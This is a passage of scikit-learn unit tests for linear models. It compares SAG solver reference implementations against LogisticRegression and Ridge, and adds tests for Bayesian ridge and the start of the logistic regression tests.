from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import ignore_warnings
from sklearn.utils import compute_class_weight
from sklearn.utils import check_random_state
from sklearn.preprocessing import LabelEncoder, LabelBinarizer
from sklearn.datasets import make_blobs, load_iris
from sklearn.base import clone

iris = load_iris()


# this is used for sag classification
def log_dloss(p, y):
    z = p * y
    # approximately equal and saves the computation of the log
    if z > 18.0:
        return math.exp(-z) * -y
    if z < -18.0:
        return -y
    return -y / (math.exp(z) + 1.0)


def log_loss(p, y):
    return np.mean(np.log(1. + np.exp(-y * p)))


# this is used for sag regression
def squared_dloss(p, y):
    return p - y


def squared_loss(p, y):
    return np.mean(0.5 * (p - y) * (p - y))


# function for measuring the log loss
def get_pobj(w, alpha, myX, myy, loss):
    w = w.ravel()
    pred = np.dot(myX, w)
    p = loss(pred, myy)
    p += alpha * w.dot(w) / 2.
    return p


def sag(X, y, step_size, alpha, n_iter=1, dloss=None, sparse=False,
        sample_weight=None, fit_intercept=True):
    n_samples, n_features = X.shape[0], X.shape[1]

    weights = np.zeros(X.shape[1])
    sum_gradient = np.zeros(X.shape[1])
    gradient_memory = np.zeros((n_samples, n_features))

    intercept = 0.0
    intercept_sum_gradient = 0.0
    intercept_gradient_memory = np.zeros(n_samples)

    rng = np.random.RandomState(77)
    decay = 1.0
    seen = set()

    # sparse data has a fixed decay of .01
    if sparse:
        decay = .01

    for epoch in range(n_iter):
        for k in range(n_samples):
            idx = int(rng.rand(1) * n_samples)
            # idx = k
            entry = X[idx]
            seen.add(idx)
            p = np.dot(entry, weights) + intercept
            gradient = dloss(p, y[idx])
            if sample_weight is not None:
                gradient *= sample_weight[idx]
            update = entry * gradient + alpha * weights
            sum_gradient += update - gradient_memory[idx]
            gradient_memory[idx] = update

            if fit_intercept:
                intercept_sum_gradient += (gradient -
                                           intercept_gradient_memory[idx])
                intercept_gradient_memory[idx] = gradient
                intercept -= (step_size * intercept_sum_gradient
                              / len(seen) * decay)

            weights -= step_size * sum_gradient / len(seen)

    return weights, intercept


def sag_sparse(X, y, step_size, alpha, n_iter=1,
               dloss=None, sample_weight=None, sparse=False,
               fit_intercept=True):
    if step_size * alpha == 1.:
        raise ZeroDivisionError("Sparse sag does not handle the case "
                                "step_size * alpha == 1")
    n_samples, n_features = X.shape[0], X.shape[1]

    weights = np.zeros(n_features)
    sum_gradient = np.zeros(n_features)
    last_updated = np.zeros(n_features, dtype=np.int)
    gradient_memory = np.zeros(n_samples)
    rng = np.random.RandomState(77)
    intercept = 0.0
    intercept_sum_gradient = 0.0
    wscale = 1.0
    decay = 1.0
    seen = set()

    c_sum = np.zeros(n_iter * n_samples)

    # sparse data has a fixed decay of .01
    if sparse:
        decay = .01

    counter = 0
    for epoch in range(n_iter):
        for k in range(n_samples):
            # idx = k
            idx = int(rng.rand(1) * n_samples)
            entry = X[idx]
            seen.add(idx)

            if counter >= 1:
                for j in range(n_features):
                    if last_updated[j] == 0:
                        weights[j] -= c_sum[counter - 1] * sum_gradient[j]
                    else:
                        weights[j] -= ((c_sum[counter - 1] -
                                        c_sum[last_updated[j] - 1]) *
                                       sum_gradient[j])
                    last_updated[j] = counter

            p = (wscale * np.dot(entry, weights)) + intercept
            gradient = dloss(p, y[idx])

            if sample_weight is not None:
                gradient *= sample_weight[idx]

            update = entry * gradient
            sum_gradient += update - (gradient_memory[idx] * entry)

            if fit_intercept:
                intercept_sum_gradient += gradient - gradient_memory[idx]
                intercept -= (step_size * intercept_sum_gradient
                              / len(seen) * decay)

            gradient_memory[idx] = gradient

            wscale *= (1.0 - alpha * step_size)
            if counter == 0:
                c_sum[0] = step_size / (wscale * len(seen))
            else:
                c_sum[counter] = (c_sum[counter - 1] +
                                  step_size / (wscale * len(seen)))

            if counter >= 1 and wscale < 1e-9:
                for j in range(n_features):
                    if last_updated[j] == 0:
                        weights[j] -= c_sum[counter] * sum_gradient[j]
                    else:
                        weights[j] -= ((c_sum[counter] -
                                        c_sum[last_updated[j] - 1]) *
                                       sum_gradient[j])
                    last_updated[j] = counter + 1
                c_sum[counter] = 0
                weights *= wscale
                wscale = 1.0

            counter += 1

    for j in range(n_features):
        if last_updated[j] == 0:
            weights[j] -= c_sum[counter - 1] * sum_gradient[j]
        else:
            weights[j] -= ((c_sum[counter - 1] -
                            c_sum[last_updated[j] - 1]) *
                           sum_gradient[j])
    weights *= wscale
    return weights, intercept


def get_step_size(X, alpha, fit_intercept, classification=True):
    if classification:
        return (4.0 / (np.max(np.sum(X * X, axis=1))
                + fit_intercept + 4.0 * alpha))
    else:
        return 1.0 / (np.max(np.sum(X * X, axis=1)) + fit_intercept + alpha)


@ignore_warnings
def test_classifier_matching():
    n_samples = 20
    X, y = make_blobs(n_samples=n_samples, centers=2, random_state=0,
                      cluster_std=0.1)
    y[y == 0] = -1
    alpha = 1.1
    n_iter = 80
    fit_intercept = True
    step_size = get_step_size(X, alpha, fit_intercept)
    clf = LogisticRegression(solver="sag", fit_intercept=fit_intercept,
                             tol=1e-11, C=1. / alpha / n_samples,
                             max_iter=n_iter, random_state=10)
    clf.fit(X, y)

    weights, intercept = sag_sparse(X, y, step_size, alpha, n_iter=n_iter,
                                    dloss=log_dloss,
                                    fit_intercept=fit_intercept)
    weights2, intercept2 = sag(X, y, step_size, alpha, n_iter=n_iter,
                               dloss=log_dloss,
                               fit_intercept=fit_intercept)
    weights = np.atleast_2d(weights)
    intercept = np.atleast_1d(intercept)
    weights2 = np.atleast_2d(weights2)
    intercept2 = np.atleast_1d(intercept2)

    assert_array_almost_equal(weights, clf.coef_, decimal=10)
    assert_array_almost_equal(intercept, clf.intercept_, decimal=10)
    assert_array_almost_equal(weights2, clf.coef_, decimal=10)
    assert_array_almost_equal(intercept2, clf.intercept_, decimal=10)


@ignore_warnings
def test_regressor_matching():
    n_samples = 10
    n_features = 5

    rng = np.random.RandomState(10)
    X = rng.normal(size=(n_samples, n_features))
    true_w = rng.normal(size=n_features)
    y = X.dot(true_w)

    alpha = 1.
    n_iter = 100
    fit_intercept = True

    step_size = get_step_size(X, alpha, fit_intercept, classification=False)
    clf = Ridge(fit_intercept=fit_intercept, tol=.00000000001, solver='sag',
                alpha=alpha * n_samples, max_iter=n_iter)
    clf.fit(X, y)

    weights1, intercept1 = sag_sparse(X, y, step_size, alpha, n_iter=n_iter,
                                      dloss=squared_dloss,
                                      fit_intercept=fit_intercept)
    weights2, intercept2 = sag(X, y, step_size, alpha, n_iter=n_iter,
                               dloss=squared_dloss,
                               fit_intercept=fit_intercept)

    assert_array_almost_equal(weights1, clf.coef_, decimal=10)
    assert_array_almost_equal(intercept1, clf.intercept_, decimal=10)
    assert_array_almost_equal(weights2, clf.coef_, decimal=10)
    assert_array_almost_equal(intercept2, clf.intercept_, decimal=10)


@ignore_warnings
def test_sag_pobj_matches_logistic_regression():
    """tests if the sag pobj matches log reg"""
    n_samples = 100
    alpha = 1.0
    max_iter = 20
    X, y = make_blobs(n_samples=n_samples, centers=2, random_state=0,
                      cluster_std=0.1)

    clf1 = LogisticRegression(solver='sag', fit_intercept=False, tol=.0000001,
                              C=1. / alpha / n_samples, max_iter=max_iter,
                              random_state=10)
    clf2 = clone(clf1)
    clf3 = LogisticRegression(fit_intercept=False, tol=.0000001,
                              C=1. / alpha / n_samples, max_iter=max_iter,
                              random_state=10)

    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)
    clf3.fit(X, y)

    pobj1 = get_pobj(clf1.coef_, alpha, X, y, log_loss)
    pobj2 = get_pobj(clf2.coef_, alpha, X, y, log_loss)
    pobj3 = get_pobj(clf3.coef_, alpha, X, y, log_loss)

    assert_array_almost_equal(pobj1, pobj2, decimal=4)
    assert_array_almost_equal(pobj2, pobj3, decimal=4)
    assert_array_almost_equal(pobj3, pobj1, decimal=4)


@ignore_warnings
def test_sag_pobj_matches_ridge_regression():
    """tests if the sag pobj matches ridge reg"""
    n_samples = 100
    n_features = 10
    alpha = 1.0
    n_iter = 100
    fit_intercept = False
    rng = np.random.RandomState(10)
    X = rng.normal(size=(n_samples, n_features))
    true_w = rng.normal(size=n_features)
    y = X.dot(true_w)

    clf1 = Ridge(fit_intercept=fit_intercept, tol=.00000000001, solver='sag',
                 alpha=alpha, max_iter=n_iter, random_state=42)
    clf2 = clone(clf1)
    clf3 = Ridge(fit_intercept=fit_intercept, tol=.00001, solver='lsqr',
                 alpha=alpha, max_iter=n_iter, random_state=42)

    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)
    clf3.fit(X, y)

    pobj1 = get_pobj(clf1.coef_, alpha, X, y, squared_loss)
    pobj2 = get_pobj(clf2.coef_, alpha, X, y, squared_loss)
    pobj3 = get_pobj(clf3.coef_, alpha, X, y, squared_loss)

    assert_array_almost_equal(pobj1, pobj2, decimal=4)
    assert_array_almost_equal(pobj1, pobj3, decimal=4)
    assert_array_almost_equal(pobj3, pobj2, decimal=4)


@ignore_warnings
def test_sag_regressor_computed_correctly():
    """tests if the sag regressor is computed correctly"""
    alpha = .1
    n_features = 10
    n_samples = 40
    max_iter = 50
    tol = .000001
    fit_intercept = True
    rng = np.random.RandomState(0)
    X = rng.normal(size=(n_samples, n_features))
    w = rng.normal(size=n_features)
    y = np.dot(X, w) + 2.
    step_size = get_step_size(X, alpha, fit_intercept, classification=False)

    clf1 = Ridge(fit_intercept=fit_intercept, tol=tol, solver='sag',
                 alpha=alpha * n_samples, max_iter=max_iter)
    clf2 = clone(clf1)

    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)

    spweights1, spintercept1 = sag_sparse(X, y, step_size, alpha,
                                          n_iter=max_iter,
                                          dloss=squared_dloss,
                                          fit_intercept=fit_intercept)

    spweights2, spintercept2 = sag_sparse(X, y, step_size, alpha,
                                          n_iter=max_iter,
                                          dloss=squared_dloss, sparse=True,
                                          fit_intercept=fit_intercept)

    assert_array_almost_equal(clf1.coef_.ravel(),
                              spweights1.ravel(),
                              decimal=3)
    assert_almost_equal(clf1.intercept_, spintercept1, decimal=1)

    # TODO: uncomment when sparse Ridge with intercept will be fixed (#4710)
    #assert_array_almost_equal(clf2.coef_.ravel(),
    #                          spweights2.ravel(),
    #                          decimal=3)
    #assert_almost_equal(clf2.intercept_, spintercept2, decimal=1)'''


@ignore_warnings
def test_get_auto_step_size():
    X = np.array([[1, 2, 3], [2, 3, 4], [2, 3, 2]], dtype=np.float64)
    alpha = 1.2
    fit_intercept = False
    # sum the squares of the second sample because that's the largest
    max_squared_sum = 4 + 9 + 16
    max_squared_sum_ = row_norms(X, squared=True).max()
    assert_almost_equal(max_squared_sum, max_squared_sum_, decimal=4)

    for fit_intercept in (True, False):
        step_size_sqr = 1.0 / (max_squared_sum + alpha + int(fit_intercept))
        step_size_log = 4.0 / (max_squared_sum + 4.0 * alpha +
                               int(fit_intercept))

        step_size_sqr_ = get_auto_step_size(max_squared_sum_, alpha, "squared",
                                            fit_intercept)
        step_size_log_ = get_auto_step_size(max_squared_sum_, alpha, "log",
                                            fit_intercept)

        assert_almost_equal(step_size_sqr, step_size_sqr_, decimal=4)
        assert_almost_equal(step_size_log, step_size_log_, decimal=4)

    msg = 'Unknown loss function for SAG solver, got wrong instead of'
    assert_raise_message(ValueError, msg, get_auto_step_size,
                         max_squared_sum_, alpha, "wrong", fit_intercept)


@ignore_warnings
def test_sag_regressor():
    """tests if the sag regressor performs well"""
    xmin, xmax = -5, 5
    n_samples = 20
    tol = .001
    max_iter = 20
    alpha = 0.1
    rng = np.random.RandomState(0)
    X = np.linspace(xmin, xmax, n_samples).reshape(n_samples, 1)

    # simple linear function without noise
    y = 0.5 * X.ravel()

    clf1 = Ridge(tol=tol, solver='sag', max_iter=max_iter,
                 alpha=alpha * n_samples)
    clf2 = clone(clf1)
    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)
    score1 = clf1.score(X, y)
    score2 = clf2.score(X, y)
    assert_greater(score1, 0.99)
    assert_greater(score2, 0.99)

    # simple linear function with noise
    y = 0.5 * X.ravel() + rng.randn(n_samples, 1).ravel()

    clf1 = Ridge(tol=tol, solver='sag', max_iter=max_iter,
                 alpha=alpha * n_samples)
    clf2 = clone(clf1)
    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)
    score1 = clf1.score(X, y)
    score2 = clf2.score(X, y)
    score2 = clf2.score(X, y)
    assert_greater(score1, 0.5)
    assert_greater(score2, 0.5)


@ignore_warnings
def test_sag_classifier_computed_correctly():
    """tests if the binary classifier is computed correctly"""
    alpha = .1
    n_samples = 50
    n_iter = 50
    tol = .00001
    fit_intercept = True
    X, y = make_blobs(n_samples=n_samples, centers=2, random_state=0,
                      cluster_std=0.1)
    step_size = get_step_size(X, alpha, fit_intercept, classification=True)
    classes = np.unique(y)
    y_tmp = np.ones(n_samples)
    y_tmp[y != classes[1]] = -1
    y = y_tmp

    clf1 = LogisticRegression(solver='sag', C=1. / alpha / n_samples,
                              max_iter=n_iter, tol=tol, random_state=77,
                              fit_intercept=fit_intercept)
    clf2 = clone(clf1)

    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)

    spweights, spintercept = sag_sparse(X, y, step_size, alpha, n_iter=n_iter,
                                        dloss=log_dloss,
                                        fit_intercept=fit_intercept)
    spweights2, spintercept2 = sag_sparse(X, y, step_size, alpha,
                                          n_iter=n_iter,
                                          dloss=log_dloss, sparse=True,
                                          fit_intercept=fit_intercept)

    assert_array_almost_equal(clf1.coef_.ravel(),
                              spweights.ravel(),
                              decimal=2)
    assert_almost_equal(clf1.intercept_, spintercept, decimal=1)

    assert_array_almost_equal(clf2.coef_.ravel(),
                              spweights2.ravel(),
                              decimal=2)
    assert_almost_equal(clf2.intercept_, spintercept2, decimal=1)


@ignore_warnings
def test_sag_multiclass_computed_correctly():
    """tests if the multiclass classifier is computed correctly"""
    alpha = .1
    n_samples = 20
    tol = .00001
    max_iter = 40
    fit_intercept = True
    X, y = make_blobs(n_samples=n_samples, centers=3, random_state=0,
                      cluster_std=0.1)
    step_size = get_step_size(X, alpha, fit_intercept, classification=True)
    classes = np.unique(y)

    clf1 = LogisticRegression(solver='sag', C=1. / alpha / n_samples,
                              max_iter=max_iter, tol=tol, random_state=77,
                              fit_intercept=fit_intercept)
    clf2 = clone(clf1)

    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)

    coef1 = []
    intercept1 = []
    coef2 = []
    intercept2 = []
    for cl in classes:
        y_encoded = np.ones(n_samples)
        y_encoded[y != cl] = -1

        spweights1, spintercept1 = sag_sparse(X, y_encoded, step_size, alpha,
                                              dloss=log_dloss, n_iter=max_iter,
                                              fit_intercept=fit_intercept)
        spweights2, spintercept2 = sag_sparse(X, y_encoded, step_size, alpha,
                                              dloss=log_dloss, n_iter=max_iter,
                                              sparse=True,
                                              fit_intercept=fit_intercept)
        coef1.append(spweights1)
        intercept1.append(spintercept1)

        coef2.append(spweights2)
        intercept2.append(spintercept2)

    coef1 = np.vstack(coef1)
    intercept1 = np.array(intercept1)
    coef2 = np.vstack(coef2)
    intercept2 = np.array(intercept2)

    for i, cl in enumerate(classes):
        assert_array_almost_equal(clf1.coef_[i].ravel(),
                                  coef1[i].ravel(),
                                  decimal=2)
        assert_almost_equal(clf1.intercept_[i], intercept1[i], decimal=1)

        assert_array_almost_equal(clf2.coef_[i].ravel(),
                                  coef2[i].ravel(),
                                  decimal=2)
        assert_almost_equal(clf2.intercept_[i], intercept2[i], decimal=1)


@ignore_warnings
def test_classifier_results():
    """tests if classifier results match target"""
    alpha = .1
    n_features = 20
    n_samples = 10
    tol = .01
    max_iter = 200
    rng = np.random.RandomState(0)
    X = rng.normal(size=(n_samples, n_features))
    w = rng.normal(size=n_features)
    y = np.dot(X, w)
    y = np.sign(y)
    clf1 = LogisticRegression(solver='sag', C=1. / alpha / n_samples,
                              max_iter=max_iter, tol=tol, random_state=77)
    clf2 = clone(clf1)

    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)
    pred1 = clf1.predict(X)
    pred2 = clf2.predict(X)
    assert_almost_equal(pred1, y, decimal=12)
    assert_almost_equal(pred2, y, decimal=12)


@ignore_warnings
def test_binary_classifier_class_weight():
    """tests binary classifier with classweights for each class"""
    alpha = .1
    n_samples = 50
    n_iter = 20
    tol = .00001
    fit_intercept = True
    X, y = make_blobs(n_samples=n_samples, centers=2, random_state=10,
                      cluster_std=0.1)
    step_size = get_step_size(X, alpha, fit_intercept, classification=True)
    classes = np.unique(y)
    y_tmp = np.ones(n_samples)
    y_tmp[y != classes[1]] = -1
    y = y_tmp

    class_weight = {1: .45, -1: .55}
    clf1 = LogisticRegression(solver='sag', C=1. / alpha / n_samples,
                              max_iter=n_iter, tol=tol, random_state=77,
                              fit_intercept=fit_intercept,
                              class_weight=class_weight)
    clf2 = clone(clf1)

    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)

    le = LabelEncoder()
    class_weight_ = compute_class_weight(class_weight, np.unique(y), y)
    sample_weight = class_weight_[le.fit_transform(y)]
    spweights, spintercept = sag_sparse(X, y, step_size, alpha, n_iter=n_iter,
                                        dloss=log_dloss,
                                        sample_weight=sample_weight,
                                        fit_intercept=fit_intercept)
    spweights2, spintercept2 = sag_sparse(X, y, step_size, alpha,
                                          n_iter=n_iter,
                                          dloss=log_dloss, sparse=True,
                                          sample_weight=sample_weight,
                                          fit_intercept=fit_intercept)

    assert_array_almost_equal(clf1.coef_.ravel(),
                              spweights.ravel(),
                              decimal=2)
    assert_almost_equal(clf1.intercept_, spintercept, decimal=1)

    assert_array_almost_equal(clf2.coef_.ravel(),
                              spweights2.ravel(),
                              decimal=2)
    assert_almost_equal(clf2.intercept_, spintercept2, decimal=1)


@ignore_warnings
def test_multiclass_classifier_class_weight():
    """tests multiclass with classweights for each class"""
    alpha = .1
    n_samples = 20
    tol = .00001
    max_iter = 50
    class_weight = {0: .45, 1: .55, 2: .75}
    fit_intercept = True
    X, y = make_blobs(n_samples=n_samples, centers=3, random_state=0,
                      cluster_std=0.1)
    step_size = get_step_size(X, alpha, fit_intercept, classification=True)
    classes = np.unique(y)

    clf1 = LogisticRegression(solver='sag', C=1. / alpha / n_samples,
                              max_iter=max_iter, tol=tol, random_state=77,
                              fit_intercept=fit_intercept,
                              class_weight=class_weight)
    clf2 = clone(clf1)
    clf1.fit(X, y)
    clf2.fit(sp.csr_matrix(X), y)

    le = LabelEncoder()
    class_weight_ = compute_class_weight(class_weight, np.unique(y), y)
    sample_weight = class_weight_[le.fit_transform(y)]

    coef1 = []
    intercept1 = []
    coef2 = []
    intercept2 = []
    for cl in classes:
        y_encoded = np.ones(n_samples)
        y_encoded[y != cl] = -1

        spweights1, spintercept1 = sag_sparse(X, y_encoded, step_size, alpha,
                                              n_iter=max_iter, dloss=log_dloss,
                                              sample_weight=sample_weight)
        spweights2, spintercept2 = sag_sparse(X, y_encoded, step_size, alpha,
                                              n_iter=max_iter, dloss=log_dloss,
                                              sample_weight=sample_weight,
                                              sparse=True)
        coef1.append(spweights1)
        intercept1.append(spintercept1)
        coef2.append(spweights2)
        intercept2.append(spintercept2)

    coef1 = np.vstack(coef1)
    intercept1 = np.array(intercept1)
    coef2 = np.vstack(coef2)
    intercept2 = np.array(intercept2)

    for i, cl in enumerate(classes):
        assert_array_almost_equal(clf1.coef_[i].ravel(),
                                  coef1[i].ravel(),
                                  decimal=2)
        assert_almost_equal(clf1.intercept_[i], intercept1[i], decimal=1)

        assert_array_almost_equal(clf2.coef_[i].ravel(),
                                  coef2[i].ravel(),
                                  decimal=2)
        assert_almost_equal(clf2.intercept_[i], intercept2[i], decimal=1)


def test_classifier_single_class():
    """tests if ValueError is thrown with only one class"""
    X = [[1, 2], [3, 4]]
    y = [1, 1]

    assert_raise_message(ValueError,
                         "This solver needs samples of at least 2 classes "
                         "in the data",
                         LogisticRegression(solver='sag').fit,
                         X, y)


def test_step_size_alpha_error():
    X = [[0, 0], [0, 0]]
    y = [1, -1]
    fit_intercept = False
    alpha = 1.
    msg = ("Current sag implementation does not handle the case"
           " step_size * alpha_scaled == 1")

    clf1 = LogisticRegression(solver='sag', C=1. / alpha,
                              fit_intercept=fit_intercept)
    assert_raise_message(ZeroDivisionError, msg, clf1.fit, X, y)

    clf2 = Ridge(fit_intercept=fit_intercept, solver='sag', alpha=alpha)
    assert_raise_message(ZeroDivisionError, msg, clf2.fit, X, y)


def test_multinomial_loss():
    # test if the multinomial loss and gradient computations are consistent
    X, y = iris.data, iris.target.astype(np.float64)
    n_samples, n_features = X.shape
    n_classes = len(np.unique(y))

    rng = check_random_state(42)
    weights = rng.randn(n_features, n_classes)
    intercept = rng.randn(n_classes)
    sample_weights = rng.randn(n_samples)
    np.abs(sample_weights, sample_weights)

    # compute loss and gradient like in multinomial SAG
    dataset, _ = make_dataset(X, y, sample_weights, random_state=42)
    loss_1, grad_1 = _multinomial_grad_loss_all_samples(dataset, weights,
                                                        intercept, n_samples,
                                                        n_features, n_classes)
    # compute loss and gradient like in multinomial LogisticRegression
    lbin = LabelBinarizer()
    Y_bin = lbin.fit_transform(y)
    weights_intercept = np.vstack((weights, intercept)).T.ravel()
    loss_2, grad_2, _ = _multinomial_loss_grad(weights_intercept, X, Y_bin,
                                               0.0, sample_weights)
    grad_2 = grad_2.reshape(n_classes, -1)
    grad_2 = grad_2[:, :-1].T

    # comparison
    assert_array_almost_equal(grad_1, grad_2)
    assert_almost_equal(loss_1, loss_2)


def test_multinomial_loss_ground_truth():
    # n_samples, n_features, n_classes = 4, 2, 3
    n_classes = 3
    X = np.array([[1.1, 2.2], [2.2, -4.4], [3.3, -2.2], [1.1, 1.1]])
    y = np.array([0, 1, 2, 0])
    lbin = LabelBinarizer()
    Y_bin = lbin.fit_transform(y)

    weights = np.array([[0.1, 0.2, 0.3], [1.1, 1.2, -1.3]])
    intercept = np.array([1., 0, -.2])
    sample_weights = np.array([0.8, 1, 1, 0.8])

    prediction = np.dot(X, weights) + intercept
    logsumexp_prediction = logsumexp(prediction, axis=1)
    p = prediction - logsumexp_prediction[:, np.newaxis]
    loss_1 = -(sample_weights[:, np.newaxis] * p * Y_bin).sum()
    diff = sample_weights[:, np.newaxis] * (np.exp(p) - Y_bin)
    grad_1 = np.dot(X.T, diff)

    weights_intercept = np.vstack((weights, intercept)).T.ravel()
    loss_2, grad_2, _ = _multinomial_loss_grad(weights_intercept, X, Y_bin,
                                               0.0, sample_weights)
    grad_2 = grad_2.reshape(n_classes, -1)
    grad_2 = grad_2[:, :-1].T

    assert_almost_equal(loss_1, loss_2)
    assert_array_almost_equal(grad_1, grad_2)

    # ground truth
    loss_gt = 11.680360354325961
    grad_gt = np.array([[-0.557487, -1.619151, +2.176638],
                        [-0.903942, +5.258745, -4.354803]])
    assert_almost_equal(loss_1, loss_gt)
    assert_array_almost_equal(grad_1, grad_gt)






# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Fabian Pedregosa <fabian.pedregosa@inria.fr>
#
# License: BSD 3 clause

import numpy as np

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import SkipTest
from sklearn.linear_model.bayes import BayesianRidge, ARDRegression
from sklearn import datasets

from sklearn.utils.testing import assert_array_almost_equal


def test_bayesian_on_diabetes():
    # Test BayesianRidge on diabetes
    raise SkipTest("XFailed Test")
    diabetes = datasets.load_diabetes()
    X, y = diabetes.data, diabetes.target

    clf = BayesianRidge(compute_score=True)

    # Test with more samples than features
    clf.fit(X, y)
    # Test that scores are increasing at each iteration
    assert_array_equal(np.diff(clf.scores_) > 0, True)

    # Test with more features than samples
    X = X[:5, :]
    y = y[:5]
    clf.fit(X, y)
    # Test that scores are increasing at each iteration
    assert_array_equal(np.diff(clf.scores_) > 0, True)


def test_toy_bayesian_ridge_object():
    # Test BayesianRidge on toy
    X = np.array([[1], [2], [6], [8], [10]])
    Y = np.array([1, 2, 6, 8, 10])
    clf = BayesianRidge(compute_score=True)
    clf.fit(X, Y)

    # Check that the model could approximately learn the identity function
    test = [[1], [3], [4]]
    assert_array_almost_equal(clf.predict(test), [1, 3, 4], 2)


def test_toy_ard_object():
    # Test BayesianRegression ARD classifier
    X = np.array([[1], [2], [3]])
    Y = np.array([1, 2, 3])
    clf = ARDRegression(compute_score=True)
    clf.fit(X, Y)

    # Check that the model could approximately learn the identity function
    test = [[1], [3], [4]]
    assert_array_almost_equal(clf.predict(test), [1, 3, 4], 2)






import numpy as np
import scipy.sparse as sp
from scipy import linalg, optimize, sparse

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import raises
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_raise_message
from sklearn.exceptions import ConvergenceWarning
from sklearn.utils import compute_class_weight
from sklearn.utils.fixes import sp_version

from sklearn.linear_model.logistic import (
    LogisticRegression,
    logistic_regression_path, LogisticRegressionCV,
    _logistic_loss_and_grad, _logistic_grad_hess,
    _multinomial_grad_hess, _logistic_loss,
    )
from sklearn.model_selection import StratifiedKFold
from sklearn.datasets import load_iris, make_classification
from sklearn.metrics import log_loss

X = [[-1, 0], [0, 1], [1, 1]]
X_sp = sp.csr_matrix(X)
Y1 = [0, 1, 1]
Y2 = [2, 1, 0]
iris = load_iris()


def check_predictions(clf, X, y):
    """Check that the model is able to fit the classification data"""
    n_samples = len(y)
    classes = np.unique(y)
    n_classes = classes.shape[0]

    predicted = clf.fit(X, y).predict(X)
    assert_array_equal(clf.classes_, classes)

    assert_equal(predicted.shape, (n_samples,))
    assert_array_equal(predicted, y)

    probabilities = clf.predict_proba(X)
    assert_equal(probabilities.shape, (n_samples, n_classes))
    assert_array_almost_equal(probabilities.sum(axis=1), np.ones(n_samples))
    assert_array_equal(probabilities.argmax(axis=1), y)


def test_predict_2_classes():
    # Simple sanity check on a 2 classes dataset
    # Make sure it predicts the correct result on simple datasets.
    check_predictions(LogisticRegression(random_state=0), X, Y1)
    check_predictions(LogisticRegression(random_state=0), X_sp, Y1)

    check_predictions(LogisticRegression(C=100, random_state=0), X, Y1)
    check_predictions(LogisticRegression(C=100, random_state=0), X_sp, Y1)

    check_predictions(LogisticRegression(fit_intercept=False,
                                         random_state=0), X, Y1)
    check_predictions(LogisticRegression(fit_intercept=False,
                                         random_state=0), X_sp, Y1)


def test_error():
    # Test for appropriate exception on errors
    msg = "Penalty term must be positive"
    assert_raise_message(ValueError, msg,
                         LogisticRegression(C=-1).fit, X, Y1)
    assert_raise_message(ValueError, msg,
                         LogisticRegression(C="test").fit, X, Y1)

    for LR in [LogisticRegression, LogisticRegressionCV]:
        msg = "Tolerance for stopping criteria must be positive"
        assert_raise_message(ValueError, msg, LR(tol=-1).fit, X, Y1)
        assert_raise_message(ValueError, msg, LR(tol="test").fit, X, Y1)

        msg = "Maximum number of iteration must be positive"
        assert_raise_message(ValueError, msg, LR(max_iter=-1).fit, X, Y1)
        assert_raise_message(ValueError, msg, LR(max_iter="test").fit, X, Y1)


def test_predict_3_classes():
    check_predictions(LogisticRegression(C=10), X, Y2)
    check_predictions(LogisticRegression(C=10), X_sp, Y2)


def test_predict_iris():
    # Test logistic regression with the iris dataset
    n_samples, n_features = iris.data.shape

    target = iris.target_names[iris.target]

    # Test that both multinomial and OvR solvers handle
    # multiclass data correctly and give good accuracy
    # score (>0.95) for the training data.
    for clf in [LogisticRegression(C=len(iris.data)),
                LogisticRegression(C=len(iris.data), solver='lbfgs',
                                   multi_class='multinomial'),
                LogisticRegression(C=len(iris.data), solver='newton-cg',
                                   multi_class='multinomial'),
                LogisticRegression(C=len(iris.data), solver='sag', tol=1e-2,
                                   multi_class='ovr', random_state=42)]:
        clf.fit(iris.data, target)
        assert_array_equal(np.unique(target), clf.classes_)

        pred = clf.predict(iris.data)
        assert_greater(np.mean(pred == target), .95)

        probabilities = clf.predict_proba(iris.data)
        assert_array_almost_equal(probabilities.sum(axis=1),
                                  np.ones(n_samples))

        pred = iris.target_names[probabilities.argmax(axis=1)]
        assert_greater(np.mean(pred == target), .95)


def test_multinomial_validation():
    for solver in ['lbfgs', 'newton-cg', 'sag']:
        lr = LogisticRegression(C=-1, solver=solver, multi_class='multinomial')
        assert_raises(ValueError, lr.fit, [[0, 1], [1, 0]], [0, 1])


def test_check_solver_option():
    X, y = iris.data, iris.target
    for LR in [LogisticRegression, LogisticRegressionCV]:

        msg = ("Logistic Regression supports only liblinear, newton-cg, lbfgs"
               " and sag solvers, got wrong_name")
        lr = LR(solver="wrong_name")
        assert_raise_message(ValueError, msg, lr.fit, X, y)

        msg = "multi_class should be either multinomial or ovr, got wrong_name"
        lr = LR(solver='newton-cg', multi_class="wrong_name")
        assert_raise_message(ValueError, msg, lr.fit, X, y)

        # only 'liblinear' solver
        msg = "Solver liblinear does not support a multinomial backend."
        lr = LR(solver='liblinear', multi_class='multinomial')
        assert_raise_message(ValueError, msg, lr.fit, X, y)

        # all solvers except 'liblinear'
        for solver in ['newton-cg', 'lbfgs', 'sag']:
            msg = ("Solver %s supports only l2 penalties, got l1 penalty." %
                   solver)
            lr = LR(solver=solver, penalty='l1')
            assert_raise_message(ValueError, msg, lr.fit, X, y)

            msg = ("Solver %s supports only dual=False, got dual=True" %
                   solver)
            lr = LR(solver=solver, dual=True)
            assert_raise_message(ValueError, msg, lr.fit, X, y)


def test_multinomial_binary():
    # Test multinomial LR on a binary problem.
    target = (iris.target > 0).astype(np.intp)
    target = np.array(["setosa", "not-setosa"])[target]

